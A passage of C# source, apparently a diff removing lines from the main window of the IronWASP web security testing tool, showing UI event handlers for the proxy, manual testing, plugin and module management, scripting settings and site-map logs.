(IronProxy.ManualTamperingFree) return; - // try - // { - // IronUI.ResetProxyException(); - // IronUI.HandleAnyChangesInRequest(); - // } - // catch(Exception Exp) - // { - // IronUI.ShowProxyException(Exp.Message); - // } - //} - - //private void ProxyInterceptResponseTabs_Deselecting(object sender, TabControlCancelEventArgs e) - //{ - // if (IronProxy.ManualTamperingFree) return; - // try - // { - // IronUI.ResetProxyException(); - // IronUI.HandleAnyChangesInResponse(); - // } - // catch(Exception Exp) - // { - // IronUI.ShowProxyException(Exp.Message); - // } - //} - - private void AboutToolStripMenuItem_Click(object sender, EventArgs e) - { - if (IronUI.AF == null) - { - IronUI.AF = new AboutForm(); - } - else if (IronUI.AF.IsDisposed) - { - IronUI.AF = new AboutForm(); - } - IronUI.AF.Show(); - IronUI.AF.AboutLogoPB.Focus(); - } - - //private void ProxyShowOriginalRequestCB_Click(object sender, EventArgs e) - //{ - // if (IronProxy.CurrentSession != null) - // { - // if (ProxyShowOriginalRequestCB.Checked) - // { - // if (IronProxy.CurrentSession.OriginalRequest != null) - // { - // IronUI.FillProxyFields(IronProxy.CurrentSession.OriginalRequest); - // IronUI.MakeProxyFieldsReadOnly(); - // } - // } - // else - // { - // if (IronProxy.CurrentSession.Request != null) - // { - // IronUI.FillProxyFields(IronProxy.CurrentSession.Request); - // IronUI.MakeProxyFieldsReadOnly(); - // } - // } - // } - //} - - //private void ProxyShowOriginalResponseCB_Click(object sender, EventArgs e) - //{ - // if (IronProxy.CurrentSession != null) - // { - // if (ProxyShowOriginalResponseCB.Checked) - // { - // if (IronProxy.CurrentSession.OriginalResponse != null) - // { - // IronUI.FillProxyFields(IronProxy.CurrentSession.OriginalResponse); - // } - // } - // else - // { - // if (IronProxy.CurrentSession.Response != null) - // { - // IronUI.FillProxyFields(IronProxy.CurrentSession.Response); - // } - // } - // } - // ProxyInterceptTabs.SelectedIndex = 1; - //} - - private void MTRequestHeadersIDV_IDVTextChanged() - { - ManualTesting.RequestHeaderChanged = true; - ManualTesting.RequestChanged = true; - } - - private void MTRequestBodyIDV_IDVTextChanged() - { - ManualTesting.RequestBodyChanged = true; - ManualTesting.RequestChanged = true; - } - - private void MTRequestParametersHeadersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - ManualTesting.RequestHeaderParametersChanged = true; - ManualTesting.RequestChanged = true; - } - - private void MTRequestParametersCookieGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - ManualTesting.RequestCookieParametersChanged = true; - ManualTesting.RequestChanged = true; - } - - private void MTRequestParametersBodyGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - ManualTesting.RequestBodyParametersChanged = true; - ManualTesting.RequestChanged = true; - } - - private void MTRequestParametersQueryGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - ManualTesting.RequestQueryParametersChanged = true; - ManualTesting.RequestChanged = true; - } - - //private void MTRequestTabs_Deselecting(object sender, TabControlCancelEventArgs e) - //{ - // try - // { - // IronUI.ResetMTExceptionFields(); - // IronUI.HandleAnyChangesInMTRequest(); - // } - // catch(Exception Exp) - // { - // IronUI.ShowMTException(Exp.Message); - // } - //} - - //private void MTRequestParametersTabs_Deselecting(object sender, TabControlCancelEventArgs e) - //{ - // try - // { - // IronUI.ResetMTExceptionFields(); - // IronUI.HandleAnyChangesInMTRequest(); - // } - // catch(Exception Exp) - // { - // IronUI.ShowMTException(Exp.Message); - // } - //} - - private void ASRequestRawHeadersIDV_IDVTextChanged() - { - Scanner.RequestHeadersChanged = true; - } - - private void ASRequestRawBodyIDV_IDVTextChanged() - { - Scanner.RequestBodyChanged = true; - } - - private void PluginTree_AfterSelect(object sender, TreeViewEventArgs e) - { - if (e.Node == null) return; - - try - { - if (e.Node.Level == 3) - { - //Plugins - if (e.Node.Parent.Parent.Index == 0) - { - string PluginName = e.Node.Name; - string[] PluginDetails = new string[] { "", "", "", "", "" }; - PluginDetails[0] = e.Node.Name; - Plugin P = new Plugin(); - switch (e.Node.Parent.Index) - { - case 0: - P = ActivePlugin.Get(PluginDetails[0]); - PluginDetails[2] = string.Format("{0}\\plugins\\active\\{1}", Config.RootDir, P.FileName); - break; - case 1: - P = PassivePlugin.Get(PluginDetails[0]); - PluginDetails[2] = string.Format("{0}\\plugins\\passive\\{1}", Config.RootDir, P.FileName); - break; - case 2: - P = FormatPlugin.Get(PluginDetails[0]); - PluginDetails[2] = string.Format("{0}\\plugins\\format\\{1}", Config.RootDir, P.FileName); - break; - case 3: - P = SessionPlugin.Get(PluginDetails[0]); - PluginDetails[2] = string.Format("{0}\\plugins\\session\\{1}", Config.RootDir, P.FileName); - break; - } - PluginDetails[1] = P.Description; - if (P.FileName == "Internal") - { - PluginDetails[3] = "This plugin is implemented inside the core of IronWASP.\r\nTo view the source code of this plugin visit - https://github.com/lavakumar/ironwasp "; - } - else if (P.FileName.Length > 0) - { - if (P.FileName.EndsWith(".py")) - PluginDetails[4] = "Python"; - else if (P.FileName.EndsWith(".rb")) - PluginDetails[4] = "Ruby"; - else - PluginDetails[4] = "-"; - try - { - StreamReader SR = File.OpenText(PluginDetails[2]); - PluginDetails[3] = SR.ReadToEnd(); - SR.Close(); - } - catch (Exception exp) - { - PluginDetails[3] = "Error reading file: " + exp.Message; - } - } - else - { - PluginDetails[3] = "FileName information is missing in the Plugin"; - } - IronUI.DisplayPluginDetails(PluginDetails); - } - //Modules - else if(e.Node.Parent.Parent.Index == 1) - { - string ModuleName = e.Node.Name; - string[] ModuleDetails = new string[] { "", "", "", "", "", "" }; - ModuleDetails[0] = e.Node.Name; - Module M = Module.GetModuleReadFromXml(ModuleDetails[0]); - ModuleDetails[5] = M.DisplayName; - ModuleDetails[1] = M.Description; - ModuleDetails[2] = string.Format("{0}\\modules\\{1}\\{2}", Config.RootDir, M.Name, M.FileName); - if (M.FileName.Length > 0) - { - if (M.FileName.EndsWith(".py")) - ModuleDetails[4] = "Python"; - else if (M.FileName.EndsWith(".rb")) - ModuleDetails[4] = "Ruby"; - else - ModuleDetails[4] = "-"; - try - { - StreamReader SR = File.OpenText(ModuleDetails[2]); - ModuleDetails[3] = SR.ReadToEnd(); - SR.Close(); - } - catch (Exception exp) - { - ModuleDetails[3] = "Error reading file: " + exp.Message; - } - } - else - { - ModuleDetails[3] = "FileName information is missing in the Module"; - } - IronUI.DisplayModuleDetails(ModuleDetails); - } - } - } - catch(Exception Exp) - { - IronException.Report("Error showing Plugin details", Exp.Message, Exp.StackTrace); - } - } - - private void SelectedPluginReloadToolStripMenuItem_Click(object sender, EventArgs e) - { - if (PluginAndModuleTree.SelectedNode == null) return; - TreeNode SelectedNode = PluginAndModuleTree.SelectedNode; - if (SelectedNode.Level == 3 && SelectedNode.Parent.Parent.Index == 0) - { - PluginType Type = PluginType.None; - string FileName = ""; - - switch (SelectedNode.Parent.Index) - { - case 0: - Type = PluginType.Active; - FileName = ActivePlugin.Get(SelectedNode.Name).FileName; - break; - case 1: - Type = PluginType.Passive; - FileName = PassivePlugin.Get(SelectedNode.Name).FileName; - break; - case 2: - Type = PluginType.Format; - FileName = FormatPlugin.Get(SelectedNode.Name).FileName; - break; - case 3: - Type = PluginType.Session; - FileName = SessionPlugin.Get(SelectedNode.Name).FileName; - break; - } - if (Type != PluginType.None && SelectedNode.Name.Length > 0) - { - PluginEngine.ReloadPlugin(Type, SelectedNode.Name, FileName); - } - } - } - - private void PluginTreeMenu_Opening(object sender, CancelEventArgs e) - { - SelectedPluginReloadToolStripMenuItem.Enabled = false; - SelectedModuleReloadToolStripMenuItem.Enabled = false; - SelectedPluginDeactivateToolStripMenuItem.Visible = false; - - if (PluginAndModuleTree.SelectedNode == null) return; - - TreeNode SelectedNode = PluginAndModuleTree.SelectedNode; - if (SelectedNode.Level == 3) - { - //Plugins - if (SelectedNode.Parent.Parent.Index == 0) - { - SelectedPluginReloadToolStripMenuItem.Enabled = true; - //Passive Plugins - if (SelectedNode.Parent.Index == 1) - { - SelectedPluginDeactivateToolStripMenuItem.Visible = true; - if (SelectedNode.ForeColor == Color.Gray) - { - SelectedPluginDeactivateToolStripMenuItem.Text = "Activate Selected Plugin"; - } - else - { - SelectedPluginDeactivateToolStripMenuItem.Text = "Deactivate Selected Plugin"; - } - } - } - //Modules - else if (SelectedNode.Parent.Parent.Index == 1) - { - //Loaded Modules - if (SelectedNode.Parent.Index == 0) - { - SelectedModuleReloadToolStripMenuItem.Enabled = true; - } - - } - } - } - - private void AllPluginsRAToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadAllPlugins); - T.Start(); - } - - private void PassivePluginsRAToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadAllPassivePlugins); - T.Start(); - } - - private void ActivePluginsRAToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadAllActivePlugins); - T.Start(); - } - - private void FormatPluginsRAToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadAllFormatPlugins); - T.Start(); - } - - private void SessionPluginsRAToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadAllSessionPlugins); - T.Start(); - } - - private void SessionPluginsANToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadNewSessionPlugins); - T.Start(); - } - - private void FormatPluginsANToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadNewFormatPlugins); - T.Start(); - } - - private void ActivePluginsANToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadNewActivePlugins); - T.Start(); - } - - private void PassivePluginsANToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadNewPassivePlugins); - T.Start(); - } - - private void AllPluginsANToolStripMenuItem_Click(object sender, EventArgs e) - { - Thread T = new Thread(PluginEngine.LoadAllNewPlugins); - T.Start(); - } - - private void SelectedPluginDeactivateToolStripMenuItem_Click(object sender, EventArgs e) - { - if (PluginAndModuleTree.SelectedNode == null) return; - if (SelectedPluginDeactivateToolStripMenuItem.Text.Equals("Deactivate Selected Plugin")) - { - PassivePlugin.Deactivate(PluginAndModuleTree.SelectedNode.Name); - PluginAndModuleTree.SelectedNode.ForeColor = Color.Gray; - PluginAndModuleTree.SelectedNode.Text = PluginAndModuleTree.SelectedNode.Name + " (Deactivated)"; - } - else - { - PassivePlugin.Activate(PluginAndModuleTree.SelectedNode.Name); - PluginAndModuleTree.SelectedNode.ForeColor = Color.Green; - PluginAndModuleTree.SelectedNode.Text = PluginAndModuleTree.SelectedNode.Name; - } - } - - private void ProxyDropBtn_Click(object sender, EventArgs e) - { - this.TopMost = false; - IronProxy.DropInterceptedMessage(); - ProxyBaseSplit.Panel1.BackColor = Color.White; - ProxySendBtn.Enabled = false; - ProxyDropBtn.Enabled = false; - } - - //private void MTRequestFormatPluginsMenu_Opening(object sender, CancelEventArgs e) - //{ - // this.MTRequestDeSerObjectToXmlMenuItem.Enabled = false; - // this.MTRequestSerXmlToObjectMenuItem.Enabled = false; - // if (this.MTRequestFormatPluginsGrid.SelectedRows.Count == 0) - // { - // return; - // } - // if (this.MTRequestFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; - // this.MTRequestDeSerObjectToXmlMenuItem.Enabled = true; - // if (this.MTRequestFormatXMLTB.Text.Length > 0) - // { - // this.MTRequestSerXmlToObjectMenuItem.Enabled = true; - // } - //} - - //private void MTRequestDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) - //{ - // MTRequestFormatXMLTB.Text = ""; - // string PluginName = MTRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowMTException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (ManualTesting.CurrentRequest == null) - // { - // IronUI.ShowMTException("Invalid Request"); - // return; - // } - // ManualTesting.StartDeSerializingRequestBody(ManualTesting.CurrentRequest, Plugin); - //} - - //private void MTRequestSerXmlToObjectMenuItem_Click(object sender, EventArgs e) - //{ - // if (MTRequestFormatPluginsGrid.SelectedCells == null) return; - // if (MTRequestFormatPluginsGrid.SelectedCells.Count == 0) return; - // string PluginName = MTRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowMTException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (ManualTesting.CurrentRequest == null) - // { - // IronUI.ShowMTException("Invalid Request"); - // return; - // } - // string XML = MTRequestFormatXMLTB.Text; - // ManualTesting.StartSerializingRequestBody(ManualTesting.CurrentRequest, Plugin, XML); - //} - - //private void ProxyRequestFormatPluginsMenu_Opening(object sender, CancelEventArgs e) - //{ - // this.ProxyRequestDeSerObjectToXmlMenuItem.Enabled = false; - // this.ProxyRequestSerXmlToObjectMenuItem.Enabled = false; - // if (this.ProxyRequestFormatPluginsGrid.SelectedRows.Count == 0) - // { - // return; - // } - - // if (this.ProxyRequestFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; - // this.ProxyRequestDeSerObjectToXmlMenuItem.Enabled = true; - // if (this.ProxyRequestFormatXMLTB.Text.Length > 0) - // { - // this.ProxyRequestSerXmlToObjectMenuItem.Enabled = true; - // } - //} - - //private void ProxyResponseFormatPluginsMenu_Opening(object sender, CancelEventArgs e) - //{ - // this.ProxyResponseDeSerObjectToXmlMenuItem.Enabled = false; - // this.ProxyResponseSerXmlToObjectMenuItem.Enabled = false; - // if (this.ProxyResponseFormatPluginsGrid.SelectedRows.Count == 0) return; - // if (this.ProxyResponseFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; - // this.ProxyResponseDeSerObjectToXmlMenuItem.Enabled = true; - // if (this.ProxyResponseFormatXMLTB.Text.Length > 0) - // { - // this.ProxyResponseSerXmlToObjectMenuItem.Enabled = true; - // } - //} - - //private void ProxyRequestDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) - //{ - // ProxyRequestFormatXMLTB.Text = ""; - // if (ProxyRequestFormatPluginsGrid.SelectedCells == null) return; - // if (ProxyRequestFormatPluginsGrid.SelectedCells.Count == 0) return; - // string PluginName = ProxyRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowProxyException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (IronProxy.CurrentSession == null) - // { - // IronUI.ShowProxyException("Invalid Request"); - // return; - // } - // if (IronProxy.CurrentSession.Request == null) - // { - // IronUI.ShowProxyException("Invalid Request"); - // return; - // } - // IronProxy.StartDeSerializingRequestBody(IronProxy.CurrentSession.Request, Plugin); - //} - - //private void ProxyRequestSerXmlToObjectMenuItem_Click(object sender, EventArgs e) - //{ - // if (ProxyRequestFormatPluginsGrid.SelectedCells == null) return; - // if (ProxyRequestFormatPluginsGrid.SelectedCells.Count == 0) return; - // string PluginName = ProxyRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowProxyException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (IronProxy.CurrentSession == null) - // { - // IronUI.ShowProxyException("Invalid Request"); - // return; - // } - // if (IronProxy.CurrentSession.Request == null) - // { - // IronUI.ShowProxyException("Invalid Request"); - // return; - // } - // string XML = ProxyRequestFormatXMLTB.Text; - // IronProxy.StartSerializingRequestBody(IronProxy.CurrentSession.Request, Plugin, XML); - //} - - //private void ProxyResponseDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) - //{ - // ProxyResponseFormatXMLTB.Text = ""; - // if (ProxyResponseFormatPluginsGrid.SelectedCells == null) return; - // if (ProxyResponseFormatPluginsGrid.SelectedCells.Count == 0) return; - // string PluginName = ProxyResponseFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowProxyException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (IronProxy.CurrentSession == null) - // { - // IronUI.ShowProxyException("Invalid Response"); - // return; - // } - // if (IronProxy.CurrentSession.Response == null) - // { - // IronUI.ShowProxyException("Invalid Response"); - // return; - // } - // IronProxy.StartDeSerializingResponseBody(IronProxy.CurrentSession.Response, Plugin); - //} - - //private void ProxyResponseSerXmlToObjectMenuItem_Click(object sender, EventArgs e) - //{ - // if (ProxyResponseFormatPluginsGrid.SelectedCells == null) return; - // if (ProxyResponseFormatPluginsGrid.SelectedCells.Count == 0) return; - // string PluginName = ProxyResponseFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowProxyException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (IronProxy.CurrentSession == null) - // { - // IronUI.ShowProxyException("Invalid Response"); - // return; - // } - // if (IronProxy.CurrentSession.Response == null) - // { - // IronUI.ShowProxyException("Invalid Response"); - // return; - // } - // string XML = ProxyResponseFormatXMLTB.Text; - // IronProxy.StartSerializingResponseBody(IronProxy.CurrentSession.Response, Plugin, XML); - //} - - //private void ConfigureScanRequestFormatPluginsMenu_Opening(object sender, CancelEventArgs e) - //{ - // this.ConfigureScanRequestDeSerObjectToXmlMenuItem.Enabled = false; - // if (this.ConfigureScanRequestFormatPluginsGrid.SelectedRows.Count == 0) - // { - // return; - // } - // if (Scanner.CurrentScanner == null) return; - // if (Scanner.CurrentScanner.OriginalRequest == null) return; - // if (this.ConfigureScanRequestFormatPluginsGrid.SelectedCells[0].Value.ToString().Equals("None")) return; - // if (Scanner.CurrentScanner.OriginalRequest.HasBody) - // { - // this.ConfigureScanRequestDeSerObjectToXmlMenuItem.Enabled = true; - // } - //} - - //private void ConfigureScanRequestDeSerObjectToXmlMenuItem_Click(object sender, EventArgs e) - //{ - // ConfigureScanRequestFormatXMLTB.Text = ""; - // if (ConfigureScanRequestFormatPluginsGrid.SelectedCells == null) return; - // if (ConfigureScanRequestFormatPluginsGrid.SelectedCells.Count == 0) return; - // string PluginName = ConfigureScanRequestFormatPluginsGrid.SelectedCells[0].Value.ToString(); - // if (PluginName.Equals("None")) - // { - // IronUI.UpdateScanBodyTabWithDataInDefaultFormat(); - // ConfigureScanRequestFormatXMLTB.Text = ""; - // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); - // return; - // } - // if (!FormatPlugin.List().Contains(PluginName)) - // { - // IronUI.ShowConfigureScanException("Format Plugin not found"); - // return; - // } - // FormatPlugin Plugin = FormatPlugin.Get(PluginName); - // if (Scanner.CurrentScanner == null) - // { - // IronUI.ShowConfigureScanException("Invalid Request"); - // return; - // } - // if (Scanner.CurrentScanner.OriginalRequest == null) - // { - // IronUI.ShowConfigureScanException("Invalid Request"); - // return; - // } - // Scanner.CurrentScanner.BodyFormat = Plugin; - // Scanner.StartDeSerializingRequestBody(Scanner.CurrentScanner.OriginalRequest, Plugin, new List(), false); - //} - - private void ScriptingShellTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (e.TabPageIndex == 1) - { - MultiLineShellExecuteBtn.Visible = true; - ClearShellDisplayBtn.Visible = false; - } - else - { - MultiLineShellExecuteBtn.Visible = false; - ClearShellDisplayBtn.Visible = true; - } - } - - private void MultiLineShellExecuteBtn_Click(object sender, EventArgs e) - { - IronUI.FreezeInteractiveShellUI(); - IronScripting.QueueMultiLineShellInputForExecution(MultiLineShellInTE.Text); - ScriptingShellTabs.SelectedIndex = 0; - } - - private void ConfigScriptPathApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string[] PyPaths = ConfigScriptPyPathsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - lock (IronScripting.PyPaths) - { - IronScripting.PyPaths.Clear(); - IronScripting.PyPaths.AddRange(PyPaths); - } - string[] RbPaths = ConfigScriptRbPathsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - lock (IronScripting.RbPaths) - { - IronScripting.RbPaths.Clear(); - IronScripting.RbPaths.AddRange(RbPaths); - } - IronDB.StoreScriptPathsConfig(); - } - - private void ConfigScriptPathCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdatePyPathsFromConfig(); - IronUI.UpdateRbPathsFromConfig(); - } - - private void ConfigScriptCommandApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string[] PyCommands = ConfigScriptPyCommandsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - lock (IronScripting.PyCommands) - { - IronScripting.PyCommands.Clear(); - IronScripting.PyCommands.AddRange(PyCommands); - } - string[] RbCommands = ConfigScriptRbCommandsTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - lock (IronScripting.RbCommands) - { - IronScripting.RbCommands.Clear(); - IronScripting.RbCommands.AddRange(RbCommands); - } - IronDB.StoreScriptCommandsConfig(); - } - - private void ConfigScriptCommandCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdatePyCommandsFromConfig(); - IronUI.UpdateRbCommandsFromConfig(); - } - - private void ConfigRequestTypesApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string[] Types = ConfigRequestTypesTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - lock (Request.TextContentTypes) - { - Request.TextContentTypes.Clear(); - Request.TextContentTypes.AddRange(Types); - } - IronDB.StoreRequestTextContentTypesConfig(); - } - - private void ConfigRequestTypesCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdateRequestTextTypesFromConfig(); - } - - private void ConfigResponseTypesApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string[] Types = ConfigResponseTypesTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - lock (Response.TextContentTypes) - { - Response.TextContentTypes.Clear(); - Response.TextContentTypes.AddRange(Types); - } - IronDB.StoreResponseTextContentTypesConfig(); - } - - private void ConfigResponseTypesCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdateResponseTextTypesFromConfig(); - } - - private void ConfigDisplayRuleApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - Config.UpdateProxyLogDisplayFilterFromUI(); - IronDB.StoreDisplayRules(); - } - - private void ConfigDisplayRuleCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdateLogDisplayFilterInUIFromConfig(); - } - - private void ConfigDisplayRuleFileExtensionsCB_CheckedChanged(object sender, EventArgs e) - { - bool Status = ConfigDisplayRuleFileExtensionsCB.Checked; - ConfigDisplayRuleFileExtensionsPlusRB.Enabled = Status; - ConfigDisplayRuleFileExtensionsPlusTB.Enabled = Status; - ConfigDisplayRuleFileExtensionsMinusRB.Enabled = Status; - ConfigDisplayRuleFileExtensionsMinusTB.Enabled = Status; - } - - private void ConfigDisplayRuleHostNamesCB_CheckedChanged(object sender, EventArgs e) - { - bool Status = ConfigDisplayRuleHostNamesCB.Checked; - ConfigDisplayRuleHostNamesPlusRB.Enabled = Status; - ConfigDisplayRuleHostNamesPlusTB.Enabled = Status; - ConfigDisplayRuleHostNamesMinusRB.Enabled = Status; - ConfigDisplayRuleHostNamesMinusTB.Enabled = Status; - } - - private void SiteMapLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (SiteMapLogGrid.SelectedCells.Count < 1 || SiteMapLogGrid.SelectedCells[0].Value == null || SiteMapLogGrid.SelectedRows.Count == 0) - { - return; - } - if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Proxy")) - { - IronLog.ShowLog(RequestSource.Proxy, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); - } - else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Test")) - { - IronLog.ShowLog(RequestSource.Test, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); - } - else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Shell")) - { - IronLog.ShowLog(RequestSource.Shell, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); - } - else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Probe")) - { - IronLog.ShowLog(RequestSource.Probe, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); - } - else if (SiteMapLogGrid.SelectedCells[1].Value.ToString().Equals("Scan")) - { - IronLog.ShowLog(RequestSource.Scan, SiteMapLogGrid.SelectedCells[0].Value.ToString(), SiteMapLogGrid.SelectedRows[0].Index, true); - } - else - { - return; - } - } - - private void IronTreeMenuStrip_Opening(object sender, CancelEventArgs e) - { - //Disable all menu items - RunModulesOnUrlToolStripMenuItem.Enabled = false; - RunModulesOnFindingToolStripMenuItem.Enabled = false; - ScanBranchToolStripMenuItem.Enabled = false; - - if (IronTree.SelectedNode == null) return; - TreeNode Node = IronTree.SelectedNode; - //if ((Node.Level > 5) || (Node.Level == 5 && (Node.Parent.Parent.Parent.Parent.Index == 4)) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) - if(IronUI.IsSiteMapNodeSelected()) - { - RunModulesOnUrlToolStripMenuItem.Enabled = true; - if (IronUI.IsScanBranchFormOpen()) - { - IronUI.SBF.Activate(); - } - else - { - ScanBranchToolStripMenuItem.Enabled = true; - } - } - else if(IronUI.IsFindingsNodeSelected()) - { - RunModulesOnFindingToolStripMenuItem.Enabled = true; - } - - } - - private void ScanBranchToolStripMenuItem_Click(object sender, EventArgs e) - { - //if (IronTree.SelectedNode == null) return; - //TreeNode Node = IronTree.SelectedNode; - //if ((Node.Level > 4) || (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 4)) || (Node.Level == 3 && (Node.Parent.Parent.Index == 4)) || (Node.Level == 2 && (Node.Parent.Index == 4))) - //{ - // List UrlPaths = new List(); - // string Query = ""; - // TreeNode SiteMapNode = Node; - // if (SiteMapNode.Text.StartsWith("?")) - // { - // Query = SiteMapNode.Text; - // SiteMapNode = SiteMapNode.Parent; - // } - // while (SiteMapNode.Level > 2) - // { - // UrlPaths.Add(SiteMapNode.Text); - // SiteMapNode = SiteMapNode.Parent; - // } - // UrlPaths.Reverse(); - // StringBuilder UrlPathBuilder = new StringBuilder(); - // foreach (string Path in UrlPaths) - // { - // UrlPathBuilder.Append("/"); UrlPathBuilder.Append(Path); - // } - // string Host = SiteMapNode.Text; - // string Url = UrlPathBuilder.ToString();// +Query; - //if (Url.Length == 0) - //{ - // Url = "/*"; - //} - //else - //{ - // Url = Url + "*"; - //} - Request SelectedUrl = IronUI.GetSelectedUrlFromSiteMap(); - if (SelectedUrl == null) return; - SelectedUrl.Url = string.Format("{0}*", SelectedUrl.UrlPath); - IronUI.ShowScanBranchForm(SelectedUrl); - //} - } - - private void PluginEditorToolStripMenuItem_Click(object sender, EventArgs e) - { - if (IronUI.IsPluginEditorOpen()) - { - IronUI.PE.Activate(); - } - else - { - IronUI.PE = new PluginEditor(); - IronUI.PE.Show(); - } - } - - private void DiffTextToolStripMenuItem_Click(object sender, EventArgs e) - { - IronUI.OpenDiffWindow(); - } - - private void EncodeDecodeToolStripMenuItem_Click(object sender, EventArgs e) - { - IronUI.OpenEncodeDecodeWindow(); - } - - private void InteractiveShellPromptBox_Enter(object sender, EventArgs e) - { - InteractiveShellIn.Focus(); - } - - private void CopyRequestToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - Clipboard.SetText("Could not copy"); - } - catch { } - IronLog.CopyRequest(GetSource(), GetID()); - } - - private void CopyResponseToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - Clipboard.SetText("Could not copy"); - } - catch { } - IronLog.CopyResponse(GetSource(), GetID()); - } - - Request GetSiteMapLogGridRequest() - { - if (SiteMapLogGrid.SelectedCells.Count < 1 || SiteMapLogGrid.SelectedCells[0].Value == null) - { - return null; - } - try - { - int id = Int32.Parse(SiteMapLogGrid.SelectedCells[0].Value.ToString()); - Request Req = null; - string Source = SiteMapLogGrid.SelectedCells[1].Value.ToString(); - switch (Source) - { - case "Proxy": - Req = Request.FromProxyLog(id); - break; - case "Test": - Req = Request.FromTestLog(id); - break; - case "Shell": - Req = Request.FromShellLog(id); - break; - case "Probe": - Req = Request.FromProbeLog(id); - break; - case "Scan": - Req = Request.FromScanLog(id); - break; - } - return Req; - } - catch (Exception Exp) - { - IronException.Report("Error loading Request from SiteMapLogGrid", Exp.Message, Exp.StackTrace); - return null; - } - } - - private void ConfigSetAsSystemProxyCB_Click(object sender, EventArgs e) - { - IronProxy.SystemProxy = ConfigSetAsSystemProxyCB.Checked; - if (ConfigSetAsSystemProxyCB.Checked) - { - Fiddler.FiddlerApplication.oProxy.Attach(); - } - else - { - Fiddler.FiddlerApplication.oProxy.Detach(); - } - } - - private void ImportBurpLogToolStripMenuItem_Click(object sender, EventArgs e) - { - if (IronUI.IsImportFormOpen()) - { - return; - } - while 